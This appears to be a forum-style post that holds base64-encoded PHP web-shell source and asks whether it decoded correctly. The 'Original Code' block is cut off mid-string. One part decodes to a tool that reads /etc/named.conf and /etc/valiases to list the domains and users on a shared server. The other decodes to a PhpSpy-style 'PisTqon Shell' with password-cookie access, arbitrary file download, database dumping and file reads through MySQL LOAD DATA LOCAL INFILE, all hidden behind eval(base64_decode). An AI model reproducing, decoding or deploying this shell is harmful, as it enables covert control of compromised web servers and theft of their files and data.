azEgPSAoKCRDaGVjazEgPj4gNCkgJiAweDNGRkMwMCApIHwgKCRDaGVjazEgJiAweDNGRik7DQoJCSRDaGVjazEgPSAoKCRDaGVjazEgPj4gNCkgJiAweDNDMDAwICkgfCAoJENoZWNrMSAmIDB4M0ZGRik7CQ0KCQkNCgkJJFQxID0gKCgoKCRDaGVjazEgJiAweDNDMCkgPDwgNCkgfCAoJENoZWNrMSAmIDB4M0MpKSA8PDIgKSB8ICgkQ2hlY2syICYgMHhGMEYgKTsNCgkJJFQyID0gKCgoKCRDaGVjazEgJiAweEZGRkZDMDAwKSA8PCA0KSB8ICgkQ2hlY2sxICYgMHgzQzAwKSkgPDwgMHhBKSB8ICgkQ2hlY2syICYgMHhGMEYwMDAwICk7DQoJCQ0KCQlyZXR1cm4gKCRUMSB8ICRUMik7DQoJfQ0KDQoJLy9nZW5lYXJhdGUgYSBjaGVja3N1bSBmb3IgdGhlIGhhc2ggc3RyaW5nDQoJZnVuY3Rpb24gY2hlY2tIYXNoKCRIYXNobnVtKSANCgl7DQoJCSRDaGVja0J5dGUgPSAwOw0KCQkkRmxhZyA9IDA7DQoNCgkJJEhhc2hTdHIgPSBzcHJpbnRmKCcldScsICRIYXNobnVtKSA7DQoJCSRsZW5ndGggPSBzdHJsZW4oJEhhc2hTdHIpOw0KCQkNCgkJZm9yICgkaSA9ICRsZW5ndGggLSAxOyAgJGkgPj0gMDsgICRpIC0tKSB7DQoJCQkkUmUgPSAkSGFzaFN0cnskaX07DQoJCQlpZiAoMSA9PT0gKCRGbGFnICUgMikpIHsgICAgICAgICAgICAgIA0KCQkJCSRSZSArPSAkUmU7ICAgICANCgkJCQkkUmUgPSAoaW50KSgkUmUgLyAxMCkgKyAoJFJlICUgMTApOw0KCQkJfQ0KCQkJJENoZWNrQnl0ZSArPSAkUmU7DQoJCQkkRmxhZyArKzsJDQoJCX0NCg0KCQkkQ2hlY2tCeXRlICU9IDEwOw0KCQlpZiAoMCAhPT0gJENoZWNrQnl0ZSkgew0KCQkJJENoZWNrQnl0ZSA9IDEwIC0gJENoZWNrQnl0ZTsNCgkJCWlmICgxID09PSAoJEZsYWcgJSAyKSApIHsNCgkJCQlpZiAoMSA9PT0gKCRDaGVja0J5dGUgJSAyKSkgew0KCQkJCQkkQ2hlY2tCeXRlICs9IDk7DQoJCQkJfQ0KCQkJCSRDaGVja0J5dGUgPj49IDE7DQoJCQl9DQoJCX0NCg0KCQlyZXR1cm4gJzcnLiRDaGVja0J5dGUuJEhhc2hTdHI7DQoJfQ0KfQ0KID8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPkRvbWFpbiB2ZSBVc2VyIExpc3RlTGl5aWNpIHwgYnkgVyZwb3VuZDsmc3psaWc7Um9vVCA8L3RpdGxlPg0KPHN0eWxlPip7IGZvbnQtZmFtaWx5OnRhaG9tYTsgZm9udC1zaXplOjEyOyB9IHRkLHRyeyB0ZXh0LWFsaWduOmNlbnRlcjt9PC9zdHlsZT4NCjwvaGVhZD4NCg0KPGJvZHk+DQo8Y2VudGVyPg0KPHA+RG9tYWluIHZlIFVzZXIgTGlzdGVMaXlpY2kgfCBieSBQaXNUcW9uIDwvcD4NCjxwPlsgPGEgaHJlZj0nP1Nob3dBbGwnPlR1bSBEb21haW5MZXI8L2E+IF0gLSBbIDxhIGhyZWY9Jz9Vc2VyRG9tYWlucyc+S3VsbGFuaWNpIERvbWFpbkxlcmluaSBMaXN0ZWxlPC9hPiBdIC0gWyA8YSBocmVmPSc/RG9tYWluVXNlcic+RG9tYWluIEt1bGxhbmljaUxhcmluaSBMaXN0ZWxlIDwvYT4gXS0gWyA8YSBocmVmPSc/cHInPiBQYWdlUmFuayBTb3JndUxhIDwvYT4gXTwvcD4NCjw/DQoNCiRmaWxlID0gQGltcGxvZGUoQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpKTsNCg0KaWYoISRmaWxlKXsgZGllKCIjIG9rdW5hbWl5b3JyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF0iKTsgfQ0KDQpwcmVnX21hdGNoX2FsbCgiI25hbWVkLyguKj8pLmRiIyIsJGZpbGUgLCRyKTsNCg0KJGRvbWFpbnMgPSBhcnJheV91bmlxdWUoJHJbMV0pOw0KDQoNCmlmKGlzc2V0KCRfR0VUWydTaG93QWxsJ10pKXsNCg0KZWNobyAiPHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9MSB3aWR0aD01OSUgY2VsbHBhZGRpbmc9NT4NCjx0cj48dGQgY29sc3Bhbj0yPlsrXSBTZXJ2ZXJkYSA6IFsgPGI+Ii5jb3VudCgkZG9tYWlucykuIjwvYj4gXSBEb21haW4gQnVsdW51eW9yLi48L3RkPjwvdHI+DQo8dHI+PHRkPkRvbWFpbjwvdGQ+PHRkPmt1bGxhbiYjMzA1O2MmIzMwNTsgYWQmIzMwNTs8L3RkPjwvdHI+IjsNCg0KZm9yZWFjaCgkZG9tYWlucyBhcyAkZG9tYWluKXsNCg0KJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOw0KDQplY2hvICI8dHI+PHRkPjxhIGhyZWY9XCJodHRwOi8vJGRvbWFpblwiIHRhcmdldD1cIl9ibGFua1wiID4kZG9tYWluPC9hPiA8L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOw0KDQp9DQoNCmVjaG8gIjwvdGFibGU+IjsNCg0KfQ0KDQoNCg0KaWYoaXNzZXQoJF9HRVRbJ1VzZXJEb21haW5zJ10pKXsNCg0KZWNobyAiDQo8Zm9ybSBhY3Rpb249Jz9Vc2VyRG9tYWlucycgbWV0aG9kPSdHRVQnPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9VXNlckRvbWFpbnMgdmFsdWU9MT4NCksuIEFkaSA6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VyIHZhbHVlPSRfR0VUW3VzZXJdPiAtIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1TaG93Pg0KPC9mb3JtPg0KIjsNCg0KaWYoaXNzZXQoJF9HRVRbJ3VzZXInXSkpew0KZWNobyAiPHRhYmxlIGJvcmRlcj0xIHdpZHRoPTMwJSBjZWxscGFkZGluZz01Pg0KPHRyPjx0ZD48Yj5Eb21haW5zIC4uPC9iPjwvdGQ+PC90cj4iOw0KZm9yZWFjaCgkZG9tYWlucyBhcyAkbj0+JGRvbWFpbil7DQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluKSk7DQplY2hvICgkX0dFVFsndXNlciddID09ICAkdXNlclsnbmFtZSddKSA/ICI8dHI+PHRkPiRkb21haW48L3RkPjwvdHI+IjoiIjsNCn0NCmVjaG8gIjwvdGFibGU+IjsNCn0NCg0KfQ0KDQoNCmlmKGlzc2V0KCRfR0VUWydEb21haW5Vc2VyJ10pKXsNCg0KZWNobyAiDQo8Zm9ybSBhY3Rpb249Jz9Eb21haW5Vc2VyJyBtZXRob2Q9J0dFVCc+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1Eb21haW5Vc2VyIHZhbHVlPTE+DQpEb21haW4gOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZG9tYWluIHZhbHVlPSRfR0VUW2RvbWFpbl0+IC0gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVNob3c+DQo8L2Zvcm0+DQoiOw0KDQppZihpc3NldCgkX0dFVFsnZG9tYWluJ10pKXsNCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRfR0VUWydkb21haW4nXSkpOw0KZWNobyAiVXNlciBpcyA6IFsgIi4kdXNlclsnbmFtZSddLiIgXSI7DQp9DQp9DQppZihpc3NldCgkX0dFVFsncHInXSkpew0KDQplY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pg0KPHRyPjx0ZCBjb2xzcGFuPTI+WytdIFNlcnZlcmRhIDogWyA8Yj4iLmNvdW50KCRkb21haW5zKS4iPC9iPiBdIERvbWFpbiBCdWx1bnV5b3IuLjwvdGQ+PC90cj4NCjx0cj48dGQ+RG9tYWluPC90ZD48dGQ+a3VsbGFuJiMzMDU7YyYjMzA1OyBhZCYjMzA1OzwvdGQ+PC90cj4iOw0KDQpmb3JlYWNoKCRkb21haW5zIGFzICRkb21haW4pew0KDQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluKSk7DQokdXJsID0gJGRvbWFpbjsNCiR3aWR0aCA9ICIyMDAiOw0KCSRtZXRob2QgPSAiY3NzIjsgLy9pbWFnZSBvciBjc3MNCgkkaW1hZ2VfbG9jYXRpb24gPSAiaHR0cDovL3d3dy50dXJraXlld2Vic2VydmlzaS5jb20vaW1hZ2VzIjsNCgkkb2JqID0gbmV3IHByKCR1cmwsJ25vcm1hbCcsNTAsJGltYWdlX2xvY2F0aW9uKTsNCgkNCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1cImh0dHA6Ly8kZG9tYWluXCIgdGFyZ2V0PVwiX2JsYW5rXCIgPiRkb21haW48L2E+ID0gIi4gJG9iai0+cGFnZXJhbmsoKSAuIiA8L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOw0KDQp9DQoNCmVjaG8gIjwvdGFibGU+IjsNCg0KfQ0KPz4NCg0KPHA+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkNvbnRhY3Q6IDwvZm9udD5QaXNUcW9uQGhvdG1haWwuY29tPGJyPiANCjxmb250IGNvbG9yPSIjRkYwMDAwIj5UdXJraXNoPC9mb250PiAybzFvLTJvMTE8L3A+DQo8L2JvZHk+DQo8L2h0bWw+")) 

Did this file decode correctly?

Original Code

eval(base64_decode("PD9waHAgDQoNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiANCg0KPT09PT09PT09PT09PT09PT09PT09ICAgICAgICA/PyAgID8gICAgICA/ID8gICAgPyAgID8/ID09PT09PT09PT09PT09PT09PT09IA0KDQogICAgID8/ICA/ID8gID8/ICA/ICAgKiA/Pz8gIA0KDQogID8gICAgICAgID8/ID8gICBTbmlwZXJcU3VwZXIgIEhlaVxrRXZpbjE5ODZcc2FpeVx3b2ZlaXdvICAgDQoNCiAgPyAgID8gICAgICA/ICA/ICA/ICAgPyAgID8/ICA/ID8gPyAgDQoNCj8gICAgMSAgNyA/ICAgICA/ID8gICAgICAgID8gICAgPyA/PyAgID8gICAgICA/ICAgICAqICAgICANCg0KPT09PT09PT09PT09PT09PT09PT09PSAgICAgPz8gID8gID8gIMO/Pz8gICA/PyAgPyAgPT09PT09PT09PT09PT09PT09PT09PT0gDQoNCkNvZHogYnkgUGlzVHFvbiANCg0KTWFrZSBpbiBUdXJrc2gNCg0KDQoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gDQoNCmVycm9yX3JlcG9ydGluZyg3KTsgDQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOyANCm9iX3N0YXJ0KCk7IA0KJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsgDQokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOyANCmRlZmluZSgnU0FfUk9PVCcsIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgZGlybmFtZShfX0ZJTEVfXykpLicvJyk7IA0KLy9kZWZpbmUoJ0lTX1dJTicsIHN0cnN0cihQSFBfT1MsICdXSU4nKSA/IDEgOiAwICk7IA0KZGVmaW5lKCdJU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXCcpOyANCmRlZmluZSgnSVNfQ09NJywgY2xhc3NfZXhpc3RzKCdDT00nKSA/IDEgOiAwICk7IA0KZGVmaW5lKCdJU19HUEMnLCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKTsgDQokZGlzX2Z1bmMgPSBnZXRfY2ZnX3ZhcignZGlzYWJsZV9mdW5jdGlvbnMnKTsgDQpkZWZpbmUoJ0lTX1BIUElORk8nLCAoIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IDEgOiAwICk7IA0KQHNldF90aW1lX2xpbWl0KDApOyANCg0KZm9yZWFjaChhcnJheSgnX0dFVCcsJ19QT1NUJykgYXMgJF9yZXF1ZXN0KSB7IA0KICAgIGZvcmVhY2goJCRfcmVxdWVzdCBhcyAkX2tleSA9PiAkX3ZhbHVlKSB7IA0KICAgICAgICBpZiAoJF9rZXl7MH0gIT0gJ18nKSB7IA0KICAgICAgICAgICAgaWYgKElTX0dQQykgeyANCiAgICAgICAgICAgICAgICAkX3ZhbHVlID0gc19hcnJheSgkX3ZhbHVlKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgJCRfa2V5ID0gJF92YWx1ZTsgDQogICAgICAgIH0gDQogICAgfSANCn0gDQoNCg0KLyo9PT09PT09PT09PT09PT09PT09PT0gICAgPyAgICA9PT09PT09PT09PT09PT09PT09PT0qLyANCg0KaWYgKCRjaGFyc2V0ID09ICd1dGY4JykgeyANCiAgICBoZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Iik7IA0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdiaWc1JykgeyANCiAgICBoZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiKTsgDQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2diaycpIHsgDQogICAgaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYmsiKTsgDQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsgDQogICAgaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0yIik7IA0KfSANCg0KJHNlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSA/ICRfU0VSVkVSWydQSFBfU0VMRiddIDogJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ107IA0KJHRpbWVzdGFtcCA9IHRpbWUoKTsgDQoNCi8qPT09PT09PT09PT09PT09PT09PT09ICAgICAgID8gPT09PT09PT09PT09PT09PT09PT09Ki8gDQppZiAoJGFjdGlvbiA9PSAibG9nb3V0IikgeyANCiAgICBzY29va2llKCdwaHBzcHlwYXNzJywgJycsIC04NjQwMCAqIDM2NSk7IA0KICAgIHAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPScuJHNlbGYuJyI+Jyk7IA0KICAgIHAoJzxhIHN0eWxlPSJmb250OjEycHggVmVyZGFuYSIgaHJlZj0iJy4kc2VsZi4nIj5TdWNjZXNzPC9hPicpOyANCiAgICBleGl0OyANCn0gDQppZigkYWRtaW5bJ2NoZWNrJ10pIHsgDQogICAgaWYgKCRkb2luZyA9PSAnbG9naW4nKSB7IA0KICAgICAgICBpZiAoJGFkbWluWydwYXNzJ10gPT0gJHBhc3N3b3JkKSB7IA0KICAgICAgICAgICAgc2Nvb2tpZSgncGhwc3B5cGFzcycsICRwYXNzd29yZCk7IA0KICAgICAgICAgICAgcCgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTtVUkw9Jy4kc2VsZi4nIj4nKTsgDQogICAgICAgICAgICBwKCc8YSBzdHlsZT0iZm9udDoxMnB4IFZlcmRhbmEiIGhyZWY9IicuJHNlbGYuJyI+U3VjY2VzczwvYT4nKTsgDQogICAgICAgICAgICBleGl0OyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIGlmICgkX0NPT0tJRVsncGhwc3B5cGFzcyddKSB7IA0KICAgICAgICBpZiAoJF9DT09LSUVbJ3BocHNweXBhc3MnXSAhPSAkYWRtaW5bJ3Bhc3MnXSkgeyANCiAgICAgICAgICAgIGxvZ2lucGFnZSgpOyANCiAgICAgICAgfSANCiAgICB9IGVsc2UgeyANCiAgICAgICAgbG9naW5wYWdlKCk7IA0KICAgIH0gDQp9IA0KLyo9PT09PT09PT09PT09PT09PT09PT0gICA/ICAgICA9PT09PT09PT09PT09PT09PT09PT0qLyANCg0KJGVycm1zZyA9ICcnOyANCg0KLy8gID9QSFBJTkZPIA0KaWYgKCRhY3Rpb24gPT0gJ3BocGluZm8nKSB7IA0KICAgIGlmIChJU19QSFBJTkZPKSB7IA0KICAgICAgICBwaHBpbmZvKCk7IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICAkZXJybXNnID0gJ3BocGluZm8oKSBmdW5jdGlvbiBoYXMgbm9uLXBlcm1pc3NpYmxlJzsgDQogICAgfSANCn0gDQoNCi8vICAgICAgPyAgDQppZiAoJGRvaW5nID09ICdkb3duZmlsZScgJiYgJHRoZWZpbGUpIHsgDQogICAgaWYgKCFAZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7IA0KICAgICAgICAkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOyANCiAgICB9IGVsc2UgeyANCiAgICAgICAgJGZpbGVpbmZvID0gcGF0aGluZm8oJHRoZWZpbGUpOyANCiAgICAgICAgaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsgDQogICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOyANCiAgICAgICAgaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkdGhlZmlsZSkpOyANCiAgICAgICAgQHJlYWRmaWxlKCR0aGVmaWxlKTsgDQogICAgICAgIGV4aXQ7IA0KICAgIH0gDQp9IA0KDQovLyA/ICAgICA/ICAgICAgPyAgDQppZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgISRzYXZlYXNmaWxlKSB7IA0KICAgIGRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7IA0KICAgICR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsgDQogICAgJHJlc3VsdCA9IHEoIlNIT1cgdGFibGVzIik7IA0KICAgIGlmICghJHJlc3VsdCkgcCgnPGgyPicubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsgDQogICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsJyk7IA0KICAgIGhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi91bmtub3duJyk7IA0KICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZW5hbWUpOyANCiAgICAkbXlzcWxkYXRhID0gJyc7IA0KICAgIHdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsgDQogICAgICAgIGlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7IA0KICAgICAgICAgICAgJG15c3FsZGF0YSAuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgbXlzcWxfY2xvc2UoKTsgDQogICAgZXhpdDsgDQp9IA0KDQovLyA/ICBNWVNRTCAgICAgPyAgDQppZigkZG9pbmc9PSdteXNxbGRvd24nKXsgDQogICAgaWYgKCEkZGJuYW1lKSB7IA0KICAgICAgICAkZXJybXNnID0gJ1BsZWFzZSBpbnB1dCBkYm5hbWUnOyANCiAgICB9IGVsc2UgeyANCiAgICAgICAgZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsgDQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJG15c3FsZGxmaWxlKSkgeyANCiAgICAgICAgICAgICRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICRyZXN1bHQgPSBxKCJzZWxlY3QgbG9hZF9maWxlKCckbXlzcWxkbGZpbGUnKTsiKTsgDQogICAgICAgICAgICBpZighJHJlc3VsdCl7IA0KICAgICAgICAgICAgICAgIHEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF9hbmdlbDsiKTsgDQogICAgICAgICAgICAgICAgcSgiQ1JFQVRFIFRBQkxFIHRtcF9hbmdlbCAoY29udGVudCBMT05HQkxPQiBOT1QgTlVMTCk7Iik7IA0KICAgICAgICAgICAgICAgIC8vICA/ICAgICAgICA/ID8gLCAgICAgICA/ID8gICAgICAgICAgX19hbmdlbF8xMTExMTExMTExX2VvZl9fICAgPyA/ICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIHEoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuYWRkc2xhc2hlcygkbXlzcWxkbGZpbGUpLiInIElOVE8gVEFCTEUgdG1wX2FuZ2VsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXyc7Iik7IA0KICAgICAgICAgICAgICAgICRyZXN1bHQgPSBxKCJzZWxlY3QgY29udGVudCBmcm9tIHRtcF9hbmdlbCIpOyANCiAgICAgICAgICAgICAgICBxKCJEUk9QIFRBQkxFIHRtcF9hbmdlbCIpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICAkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOyANCiAgICAgICAgICAgIGlmICghJHJvdykgeyANCiAgICAgICAgICAgICAgICAkZXJybXNnID0gJ0xvYWQgZmlsZSBmYWlsZWQgJy5teXNxbF9lcnJvcigpOyANCiAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICRmaWxlaW5mbyA9IHBhdGhpbmZvKCRteXNxbGRsZmlsZSk7IA0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7IA0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOyANCiAgICAgICAgICAgICAgICBoZWFkZXIoIkFjY2VwdC1MZW5ndGg6ICIuc3RybGVuKCRyb3dbMF0pKTsgDQogICAgICAgICAgICAgICAgZWNobyAkcm93WzBdOyANCiAgICAgICAgICAgICAgICBleGl0OyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgfSANCn0gDQoNCj8+IA0KPGh0bWw+IA0KPGhlYWQ+IA0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9Z2JrIj4gDQo8dGl0bGU+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ1AuaC5wLlMucC55Jyk7Pz4gfCBQaXNUcW9uIFNoZWxsPC90aXRsZT4gDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPiANCmJvZHksdGR7Zm9udDogMTJweCBBcmlhbCxUYWhvbWE7bGluZS1oZWlnaHQ6IDE2cHg7fSANCi5pbnB1dHtmb250OjEycHggQXJpYWwsVGFob21hO2JhY2tncm91bmQ6I2ZmZjtib3JkZXI6IDFweCBzb2xpZCAjNjY2O3BhZGRpbmc6MnB4O2hlaWdodDoyMnB4O30gDQouYXJlYXtmb250OjEycHggJ0NvdXJpZXIgTmV3JywgTW9ub3NwYWNlO2JhY2tncm91bmQ6I2ZmZjtib3JkZXI6IDFweCBzb2xpZCAjNjY2O3BhZGRpbmc6MnB4O30gDQouYnQge2JvcmRlci1jb2xvcjojYjBiMGIwO2JhY2tncm91bmQ6IzNkM2QzZDtjb2xvcjojZmZmZmZmO2ZvbnQ6MTJweCBBcmlhbCxUYWhvbWE7aGVpZ2h0OjIycHg7fSANCmEge2NvbG9yOiAjMDBmO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fSANCmE6aG92ZXJ7Y29sb3I6ICNmMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSANCi5hbHQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmMWYxZjE7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30gDQouYWx0MiB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZjlmOWY5O3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9IA0KLmZvY3VzIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmZmZmYWE7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30gDQouaGVhZCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZTllOWU5O3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpib2xkO30gDQouaGVhZCB0ZCBzcGFue2ZvbnQtd2VpZ2h0Om5vcm1hbDt9IA0KZm9ybXttYXJnaW46MDtwYWRkaW5nOjA7fSANCmgye21hcmdpbjowO3BhZGRpbmc6MDtoZWlnaHQ6MjRweDtsaW5lLWhlaWdodDoyNHB4O2ZvbnQtc2l6ZToxNHB4O2NvbG9yOiM1QjY4NkY7fSANCnVsLmluZm8gbGl7bWFyZ2luOjA7Y29sb3I6IzQ0NDtsaW5lLWhlaWdodDoyNHB4O2hlaWdodDoyNHB4O30gDQp1e3RleHQtZGVjb3JhdGlvbjogbm9uZTtjb2xvcjojNzc3O2Zsb2F0OmxlZnQ7ZGlzcGxheTpibG9jazt3aWR0aDoxNTBweDttYXJnaW4tcmlnaHQ6MTBweDt9IA0KPC9zdHlsZT4gDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+IA0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgeyANCiAgICBmb3IodmFyIGk9MDtpPGZvcm0uZWxlbWVudHMubGVuZ3RoO2krKykgeyANCiAgICAgICAgdmFyIGUgPSBmb3JtLmVsZW1lbnRzW2ldOyANCiAgICAgICAgaWYgKGUubmFtZSAhPSAnY2hrYWxsJykgDQogICAgICAgIGUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7IA0KICAgIH0gDQp9IA0KZnVuY3Rpb24gJChpZCkgeyANCiAgICByZXR1cm4gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpOyANCn0gDQpmdW5jdGlvbiBnb2FjdGlvbihhY3QpeyANCiAgICAkKCdnb2FjdGlvbicpLmFjdGlvbi52YWx1ZT1hY3Q7IA0KICAgICQoJ2dvYWN0aW9uJykuc3VibWl0KCk7IA0KfSANCjwvc2NyaXB0PiANCjwvaGVhZD4gDQo8Ym9keSBzdHlsZT0ibWFyZ2luOjA7dGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbCI+IA0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+IA0KICAgIDx0ciBjbGFzcz0iaGVhZCI+IA0KICAgICAgICA8dGQ+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PGEgaHJlZj0iaHR0cDovL3d3dy40bmdlbC5uZXQiIHRhcmdldD0iX2JsYW5rIj48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnUC5oLnAuUy5wLnknKTs/PiBWZXI6IDIwMDg8L2E+PC9zcGFuPjw/cGhwIGVjaG8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOz8+ICg8P3BocCBlY2hvIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pOz8+KTwvdGQ+IA0KICAgIDwvdHI+IA0KICAgIDx0ciBjbGFzcz0iYWx0MSI+IA0KICAgICAgICA8dGQ+PHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+U2FmZSBNb2RlOjw/cGhwIGVjaG8gZ2V0Y2